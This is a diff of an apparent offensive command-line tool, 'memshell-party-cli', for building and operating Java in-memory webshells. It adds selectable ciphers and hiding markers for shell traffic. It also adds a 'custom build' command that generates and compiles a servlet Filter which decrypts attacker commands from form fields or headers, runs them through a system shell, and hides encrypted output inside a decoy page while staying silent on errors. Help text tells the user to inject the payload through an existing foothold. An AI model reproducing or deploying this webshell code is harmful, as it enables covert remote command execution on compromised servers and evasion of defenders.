memshell-party-cli 0.4.0 → 0.5.0

package/dist/cli.js

@@ -1,7 +1,7 @@
 #!/usr/bin/env node
 
 // src/cli.ts
-import { Command as Command9, CommanderError as CommanderError2 } from "commander";
+import { Command as Command10, CommanderError as CommanderError2 } from "commander";
 
 // src/api/client.ts
 var ApiError = class extends Error {
@@ -1585,6 +1585,21 @@ function validateProfile(profile) {
       }
     }
   }
+  if (profile.cipher !== void 0) {
+    const c = profile.cipher;
+    if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
+      throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
+    }
+    if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
+      throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
+    }
+    if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
+      throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
+    }
+    if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
+      throw new Error("cipher.padTail must be a boolean");
+    }
+  }
 }
 function saveProfile(profile) {
   validateProfile(profile);
@@ -1625,32 +1640,119 @@ function profileSkeleton(name, site) {
   };
 }
 
+// src/connect/mimic-codecs.ts
+import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
+var LEGACY_CIPHER = {
+  algorithm: "aes-ecb",
+  encoding: "base64",
+  padTail: false,
+  marker: "js-var"
+};
+function resolveCipher(partial) {
+  return { ...LEGACY_CIPHER, ...partial ?? {} };
+}
+function xorCrypt(data, key) {
+  const out = Buffer.alloc(data.length);
+  for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
+  return out;
+}
+function crypt(data, aesKey, enc, algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
+    case "aes-cbc": {
+      const key = Buffer.from(aesKey, "utf8");
+      if (enc) {
+        const iv = randomBytes3(16);
+        const c = createCipheriv2("aes-128-cbc", key, iv);
+        return Buffer.concat([iv, c.update(data), c.final()]);
+      }
+      const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
+      return Buffer.concat([d.update(data.subarray(16)), d.final()]);
+    }
+    case "xor":
+      return xorCrypt(data, Buffer.from(aesKey, "utf8"));
+  }
+}
+function encodeBytes(data, encoding) {
+  switch (encoding) {
+    case "base64":
+      return data.toString("base64");
+    case "base64url":
+      return base64UrlEncode(data);
+    case "hex":
+      return data.toString("hex");
+  }
+}
+function decodeString(text, encoding) {
+  switch (encoding) {
+    case "base64":
+      return Buffer.from(text, "base64");
+    case "base64url":
+      return base64UrlDecode(text);
+    case "hex":
+      return Buffer.from(text, "hex");
+  }
+}
+function padTailLength(aesKey) {
+  return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
+}
+var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+function appendPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  if (n === 0) return text;
+  const raw = randomBytes3(n);
+  let tail = "";
+  for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
+  return text + tail;
+}
+function stripPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
+}
+function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
+  if (cipher.padTail) out = appendPad(out, aesKey);
+  return out;
+}
+function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
+  let text = value;
+  if (cipher.padTail) text = stripPad(text, aesKey);
+  return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
+}
+function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
+  const id = md5Hex(pass + secretKey).slice(0, 5);
+  if (cipher.marker === "html-comment") {
+    const left2 = `<!--Re${id}_config:`;
+    return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
+  }
+  const left = `var Re${id}_config="`;
+  return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
+}
+
 // src/connect/mimic-shared.ts
-import { randomBytes as randomBytes3, randomInt, randomUUID } from "crypto";
+import { randomBytes as randomBytes4, randomInt, randomUUID } from "crypto";
 function deriveAesKey(secretKey) {
   return md5Key16(secretKey);
 }
 function renderFieldValue(value) {
   return value.replaceAll(
     /\{\{hex:(\d+)\}\}/g,
-    (_m, n) => randomBytes3(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
+    (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
   ).replaceAll(
     /\{\{b64:(\d+)\}\}/g,
-    (_m, n) => randomBytes3(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
+    (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
   ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
     /\{\{int:(\d+):(\d+)\}\}/g,
     (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
   );
 }
-function deriveLeftMarker(pass, secretKey) {
-  return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`;
-}
 var RIGHT_MARKER = '";';
-function encryptField(plaintext, aesKey) {
-  return aesEcbEncrypt(plaintext, aesKey).toString("base64");
+function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  return encryptField(plaintext, aesKey, cipher);
 }
-function decryptField(b64, aesKey) {
-  return aesEcbDecrypt(Buffer.from(b64, "base64"), aesKey);
+function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
+  return decryptField(value, aesKey, cipher);
 }
 function buildFormBody(fields) {
   return Buffer.from(
@@ -1658,7 +1760,7 @@ function buildFormBody(fields) {
     "utf8"
   );
 }
-function decodeRequestBody(body, pass, aesKey) {
+function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
   const text = body.toString("utf8");
   for (const pair of text.split("&")) {
     const eq = pair.indexOf("=");
@@ -1666,24 +1768,23 @@ function decodeRequestBody(body, pass, aesKey) {
     if (pair.slice(0, eq) !== pass) continue;
     const value = decodeURIComponent(pair.slice(eq + 1));
     try {
-      return decryptField(value, aesKey);
+      return decryptField2(value, aesKey, cipher);
     } catch {
       return null;
     }
   }
   return null;
 }
-function injectIntoTemplate(templateHtml, b64Cipher, leftMarker) {
-  const script = `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`;
+function injectFragment(templateHtml, fragment) {
   const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
-  if (idx === -1) return templateHtml + script;
-  return templateHtml.slice(0, idx) + script + templateHtml.slice(idx);
+  if (idx === -1) return templateHtml + fragment;
+  return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
 }
-function extractFromHtml(html, leftMarker) {
+function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
   const start = html.indexOf(leftMarker);
   if (start === -1) return null;
   const valueStart = start + leftMarker.length;
-  const end = html.indexOf(RIGHT_MARKER, valueStart);
+  const end = html.indexOf(rightMarker, valueStart);
   if (end === -1) return null;
   return html.slice(valueStart, end);
 }
@@ -1703,10 +1804,12 @@ function buildContext(req) {
   if (profileName) {
     profile = loadProfile(profileName);
   }
+  const cipher = resolveCipher(profile?.cipher);
   return {
     pass,
     aesKey: deriveAesKey(secretKey),
-    leftMarker: deriveLeftMarker(pass, secretKey),
+    cipher,
+    markers: deriveMarkers(pass, secretKey, cipher),
     profile,
     dynamicPath: req.options.dynamicPath ?? false
   };
@@ -1725,7 +1828,7 @@ async function roundTrip(req, ctx, plaintext) {
   const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
   const secretField = shape?.secretField ?? ctx.pass;
   const secretIn = shape?.secretIn ?? "body";
-  const cipher = encryptField(Buffer.from(plaintext, "utf8"), ctx.aesKey);
+  const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
   const decoys = (shape?.fields ?? []).map((f) => ({
     name: f.name,
     value: renderFieldValue(f.value)
@@ -1768,7 +1871,7 @@ async function roundTrip(req, ctx, plaintext) {
       durationMs: res.durationMs
     };
   }
-  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.leftMarker);
+  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
   if (b64 === null) {
     return {
       ok: false,
@@ -1779,7 +1882,7 @@ async function roundTrip(req, ctx, plaintext) {
     };
   }
   try {
-    const output = decryptField(b64, ctx.aesKey).toString("utf8");
+    const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
     return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
   } catch {
     return {
@@ -2197,7 +2300,7 @@ function parseExtraHeaders(lines) {
 function registerConnectCommand(program) {
   program.command("connect").description(
     "Test whether a deployed webshell is alive and the credentials work"
-  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").option(
+  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
     "--header-name <name>",
     "gate header name reported by gen (shellToolConfig.headerName)"
   ).option(
@@ -2303,12 +2406,521 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
   });
 }
 
+// src/commands/custom.ts
+import { Command as Command2 } from "commander";
+
+// src/custom/build.ts
+import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
+import { join as join5 } from "path";
+
+// src/core/jdk.ts
+var JDK_VERSIONS = {
+  java6: 50,
+  java8: 52,
+  java9: 53,
+  java11: 55,
+  java17: 61,
+  java21: 65
+};
+function resolveJreVersion(input3) {
+  if (input3 === void 0 || input3 === "") return void 0;
+  if (typeof input3 === "number") return input3;
+  const normalized = input3.trim().toLowerCase();
+  if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
+  const withPrefix = `java${normalized}`;
+  if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
+  const num = Number(normalized);
+  if (Number.isInteger(num) && num > 0) return num;
+  throw new Error(
+    `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
+  );
+}
+
+// src/custom/java-template.ts
+function javaStringLiteral(s) {
+  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
+}
+var MD5_METHOD = String.raw`
+    static String md5Hex(String s) throws Exception {
+        MessageDigest m = MessageDigest.getInstance("MD5");
+        byte[] d = m.digest(s.getBytes("UTF-8"));
+        StringBuilder sb = new StringBuilder();
+        for (byte b : d) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+`;
+function cryptMethod(algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
+        c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
+               new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
+        return c.doFinal(data);
+    }
+`;
+    case "aes-cbc":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
+        SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+        if (enc) {
+            byte[] iv = new byte[16];
+            new java.security.SecureRandom().nextBytes(iv);
+            c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
+            byte[] ct = c.doFinal(data);
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            bos.write(iv);
+            bos.write(ct);
+            return bos.toByteArray();
+        }
+        c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
+        return c.doFinal(data, 16, data.length - 16);
+    }
+`;
+    case "xor":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        byte[] k = key.getBytes("UTF-8");
+        byte[] out = new byte[data.length];
+        for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
+        return out;
+    }
+`;
+  }
+}
+function encDecMethods(encoding) {
+  switch (encoding) {
+    case "base64":
+      return String.raw`
+    static String enc(byte[] data) {
+        return java.util.Base64.getEncoder().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getDecoder().decode(s);
+    }
+`;
+    case "base64url":
+      return String.raw`
+    static String enc(byte[] data) {
+        return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getUrlDecoder().decode(s);
+    }
+`;
+    case "hex":
+      return String.raw`
+    static String enc(byte[] data) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : data) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+    static byte[] dec(String s) {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
+        return bos.toByteArray();
+    }
+`;
+  }
+}
+var PAD_METHODS = String.raw`
+    static int padLen(String aesKey) throws Exception {
+        return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
+    }
+    static String appendPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        StringBuilder sb = new StringBuilder(s);
+        java.util.Random r = new java.util.Random();
+        for (int i = 0; i < n; i++) {
+            sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
+        }
+        return sb.toString();
+    }
+    static String stripPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
+    }
+`;
+function fieldTransforms(cipher) {
+  const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
+  const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
+  return `
+    static String encryptField(byte[] plain, String aesKey) throws Exception {
+        String s = enc(crypt(plain, aesKey, true));
+        return ${afterEncode};
+    }
+    static byte[] decryptField(String v, String aesKey) throws Exception {
+        String s = ${beforeDecode};
+        return crypt(dec(s), aesKey, false);
+    }
+`;
+}
+function wrapPayloadMethod(marker) {
+  if (marker === "html-comment") {
+    return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
+    }
+`;
+  }
+  return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
+    }
+`;
+}
+function sharedMethods(cipher) {
+  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
+}
+function renderFilterJava(opts) {
+  const { className, pass, secret, fields, templates, cipher } = opts;
+  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  return `package mimic;
+
+import java.io.*;
+import java.security.MessageDigest;
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/**
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
+ *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
+ *
+ * Detection uses getParameter()/getHeader() only, never reads the body
+ * stream: form posts are parsed+cached by the container so downstream
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
+ * untouched body stream for the shell behind us. Anything that is not ours
+ * falls through chain.doFilter; any error answers with the cover page.
+ */
+public class ${className} implements Filter {
+    /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
+    static final String[] FIELDS = { ${fieldsJava} };
+    /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
+    static final String PASS = "${javaStringLiteral(pass)}";
+    static final String SECRET = "${javaStringLiteral(secret)}";
+    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    static final String[] TPLS = {
+${tplsJava}
+    };
+
+    public void init(FilterConfig filterConfig) {}
+    public void destroy() {}
+${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+            throws IOException, ServletException {
+        String value = null;
+        for (String f : FIELDS) {
+            value = request.getParameter(f);
+            if (value == null && request instanceof HttpServletRequest) {
+                // secretIn=header: the ciphertext may ride a header instead of a form field
+                value = ((HttpServletRequest) request).getHeader(f);
+            }
+            if (value != null) break;
+        }
+        if (value == null) {
+            chain.doFilter(request, response);
+            return;
+        }
+        String aesKey;
+        byte[] cmd;
+        try {
+            aesKey = md5Hex(SECRET).substring(0, 16);
+            cmd = decryptField(value, aesKey);
+        } catch (Exception notOurs) {
+            // the field exists but doesn't decrypt \u2014 this is someone else's
+            // legitimate form (e.g. the real login POST), stay invisible
+            chain.doFilter(request, response);
+            return;
+        }
+        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        try {
+            String command = new String(cmd, "UTF-8");
+            boolean win = System.getProperty("os.name").toLowerCase().contains("win");
+            ProcessBuilder pb = win
+                ? new ProcessBuilder("cmd.exe", "/c", command)
+                : new ProcessBuilder("/bin/sh", "-c", command);
+            pb.redirectErrorStream(true);
+            Process proc = pb.start();
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            InputStream in = proc.getInputStream();
+            byte[] buf = new byte[8192];
+            int n;
+            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+            proc.waitFor();
+            String payload = encryptField(bos.toByteArray(), aesKey);
+            String fragment = wrapPayload(payload, PASS + SECRET);
+            int idx = tpl.toLowerCase().lastIndexOf("</body>");
+            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            response.setContentType("text/html;charset=UTF-8");
+            response.setCharacterEncoding("UTF-8");
+            response.getWriter().write(page);
+        } catch (Exception e) {
+            // behave like the cover page on any error \u2014 stay quiet
+            response.setContentType("text/html;charset=UTF-8");
+            response.getWriter().write(tpl);
+        }
+    }
+}
+`;
+}
+
+// src/custom/javac.ts
+import { execFileSync } from "child_process";
+import { existsSync as existsSync4 } from "fs";
+import { fileURLToPath } from "url";
+function servletApiJar() {
+  const candidates = [
+    new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
+    // dist/*.js
+    new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
+    // src/custom/*.ts
+  ];
+  for (const candidate of candidates) {
+    const p = fileURLToPath(candidate);
+    if (existsSync4(p)) return p;
+  }
+  throw new Error(
+    "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
+  );
+}
+function findJavac() {
+  try {
+    execFileSync("javac", ["-version"], { stdio: "pipe" });
+    return "javac";
+  } catch {
+    throw new Error(
+      "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
+    );
+  }
+}
+function compileJava(sources, outDir, opts = {}) {
+  const javac = findJavac();
+  const args = ["-encoding", "UTF-8", "--release", "8"];
+  if (opts.classpath && opts.classpath.length > 0) {
+    args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
+  }
+  args.push("-d", outDir, ...sources);
+  execFileSync(javac, args, { stdio: "pipe" });
+}
+
+// src/custom/build.ts
+function profileSecretFields(profile) {
+  const shapes = profileRequests(profile);
+  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
+  return fields.length > 0 ? fields : ["pass"];
+}
+function defaultClassName() {
+  return `MimicFilter${randomString(4)}`;
+}
+async function buildCustomMemshell(input3, client, deps = {}) {
+  const compile = deps.compile ?? compileJava;
+  const jarOf = deps.servletJar ?? servletApiJar;
+  const className = input3.className ?? defaultClassName();
+  const shellType = input3.shellType ?? "Filter";
+  const urlPattern = input3.urlPattern ?? "/*";
+  const packer = input3.packer ?? "DefaultBase64";
+  const cipher = resolveCipher(input3.profile.cipher);
+  const templates = profileTemplates(input3.profile).map((t) => t.template);
+  if (templates.length === 0) {
+    throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
+  }
+  const outDir = input3.outDir;
+  const packageDir = join5(outDir, "mimic");
+  mkdirSync4(packageDir, { recursive: true });
+  const javaSource = renderFilterJava({
+    className,
+    pass: input3.pass,
+    secret: input3.secret,
+    fields: profileSecretFields(input3.profile),
+    templates,
+    cipher
+  });
+  const javaFile = join5(packageDir, `${className}.java`);
+  writeFileSync3(javaFile, javaSource, "utf8");
+  compile([javaFile], outDir, { classpath: [jarOf()] });
+  const classFile = join5(packageDir, `${className}.class`);
+  const shellClassBase64 = readFileSync5(classFile).toString("base64");
+  const response = await client.generateMemShell({
+    shellConfig: {
+      server: input3.server,
+      shellTool: "Custom",
+      shellType,
+      targetJreVersion: resolveJreVersion(input3.jdk ?? "java8")
+    },
+    shellToolConfig: {
+      shellClassName: `mimic.${className}`,
+      shellClassBase64
+    },
+    injectorConfig: { urlPattern },
+    packer
+  });
+  const payloads = {};
+  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    for (const [name, value] of Object.entries(response.allPackResults)) {
+      const file = join5(outDir, `payload-${name}.txt`);
+      writeFileSync3(file, `${value}
+`, "utf8");
+      payloads[name] = file;
+    }
+  } else if (response.packResult !== void 0) {
+    const file = join5(outDir, "payload.txt");
+    writeFileSync3(file, `${response.packResult}
+`, "utf8");
+    payloads[packer] = file;
+  }
+  const result = {
+    className,
+    fullClassName: `mimic.${className}`,
+    injectorClassName: response.memShellResult.injectorClassName,
+    packer,
+    server: input3.server,
+    shellType,
+    urlPattern,
+    pass: input3.pass,
+    secret: input3.secret,
+    cipher,
+    response,
+    files: {
+      java: javaFile,
+      classFile,
+      manifest: join5(outDir, "manifest.json"),
+      payloads
+    }
+  };
+  const manifest = {
+    tool: "mimic",
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    profile: input3.profile.name,
+    server: result.server,
+    shellType: result.shellType,
+    urlPattern: result.urlPattern,
+    packer: result.packer,
+    className: result.fullClassName,
+    injectorClassName: result.injectorClassName,
+    pass: result.pass,
+    key: result.secret,
+    cipher: result.cipher,
+    note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
+    connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
+    files: result.files
+  };
+  writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
+`, "utf8");
+  return result;
+}
+
+// src/commands/custom.ts
+function registerCustomCommand(program) {
+  program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
+    new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
+      "after",
+      `
+The full loop (see docs/mimic-memshell-guide.md):
+  1. write a site profile            memparty profile init acme --site https://acme.cn
+  2. build the shell                 memparty custom build --profile acme --server Tomcat
+  3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
+  4. connect + exec                  memparty connect -u <url> -t mimic --profile acme ...
+
+Delivery is NOT part of this command \u2014 it only builds the payload.
+Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
+`
+    ).action(async (opts, cmd) => {
+      const globals = cmd.optsWithGlobals();
+      const fail = (message) => {
+        reportError(message, opts.json ? ["--json"] : []);
+        process.exitCode = 1;
+      };
+      let profile;
+      try {
+        profile = loadProfile(opts.profile);
+      } catch (err) {
+        fail(err instanceof Error ? err.message : String(err));
+        return;
+      }
+      const pass = opts.pass ?? randomString(10);
+      const secret = opts.key ?? randomString(16);
+      const outDir = opts.out ?? `${opts.profile}-build`;
+      const client = createClient(globals);
+      const started = Date.now();
+      try {
+        const result = await buildCustomMemshell(
+          {
+            profile,
+            server: opts.server,
+            shellType: opts.type,
+            pass,
+            secret,
+            urlPattern: opts.urlPattern,
+            packer: opts.packer,
+            jdk: opts.jdk,
+            outDir
+          },
+          client
+        );
+        logOp({
+          category: "gen",
+          action: "custom-build",
+          ok: true,
+          durationMs: Date.now() - started,
+          detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
+          meta: {
+            profile: profile.name,
+            server: result.server,
+            shellType: result.shellType,
+            packer: result.packer
+          }
+        });
+        if (opts.json) {
+          const { response: _response, ...summary } = result;
+          process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}
+`);
+          return;
+        }
+        logInfo(`filter class:    ${result.fullClassName}`);
+        logInfo(
+          `injector class:  ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`
+        );
+        logInfo(`credentials:     --pass ${result.pass} --key ${result.secret}`);
+        logInfo(`cipher:          ${JSON.stringify(result.cipher)}`);
+        for (const [name, file] of Object.entries(result.files.payloads)) {
+          logInfo(`payload [${name}]: ${file}`);
+        }
+        logInfo(`manifest:        ${result.files.manifest}`);
+        process.stdout.write(
+          `
+next steps:
+  1. inject the payload via your foothold (RCE defineClass / existing shell / upload)
+  2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}
+  3. memparty exec <host>/mimic --cmd "id"
+`
+        );
+      } catch (err) {
+        logOp({
+          category: "gen",
+          action: "custom-build",
+          ok: false,
+          durationMs: Date.now() - started,
+          error: err instanceof Error ? err.message : String(err),
+          meta: { profile: profile.name, server: opts.server }
+        });
+        fail(err instanceof Error ? err.message : String(err));
+      }
+    })
+  );
+}
+
 // src/connect/mimic-server.ts
 import { exec } from "child_process";
 import http2 from "http";
-function tryDecrypt(b64, aesKey) {
+function tryDecrypt(b64, aesKey, cipher = resolveCipher()) {
   try {
-    return decryptField(b64, aesKey);
+    return decryptField2(b64, aesKey, cipher);
   } catch {
     return null;
   }
@@ -2388,8 +3000,9 @@ function runCommand(command, timeoutMs) {
 async function startMimicServer(options = {}) {
   const pass = options.pass ?? "pass";
   const secretKey = options.secretKey ?? "key";
+  const cipher = resolveCipher(options.cipher);
   const aesKey = deriveAesKey(secretKey);
-  const leftMarker = deriveLeftMarker(pass, secretKey);
+  const markers = deriveMarkers(pass, secretKey, cipher);
   const execTimeoutMs = options.execTimeoutMs ?? 5e3;
   const skin = PAGES["/"];
   const server = http2.createServer((req, res) => {
@@ -2397,14 +3010,14 @@ async function startMimicServer(options = {}) {
       const chunks = [];
       req.on("data", (c) => chunks.push(c));
       req.on("end", () => {
-        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey);
+        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
         if (command === null) {
           const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
-          if (query) command = tryDecrypt(query, aesKey);
+          if (query) command = tryDecrypt(query, aesKey, cipher);
         }
         if (command === null) {
           const header = req.headers[pass.toLowerCase()];
-          if (typeof header === "string") command = tryDecrypt(header, aesKey);
+          if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
         }
         if (command === null) {
           res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
@@ -2412,9 +3025,9 @@ async function startMimicServer(options = {}) {
           return;
         }
         void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
-          const b64 = encryptField(Buffer.from(output, "utf8"), aesKey);
+          const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
           res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
-          res.end(injectIntoTemplate(skin, b64, leftMarker));
+          res.end(injectFragment(skin, markers.wrap(b64)));
         });
       });
       return;
@@ -2532,7 +3145,7 @@ function registerExecCommand(program) {
     "Execute a command on a deployed webshell and print its output"
   ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
     new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
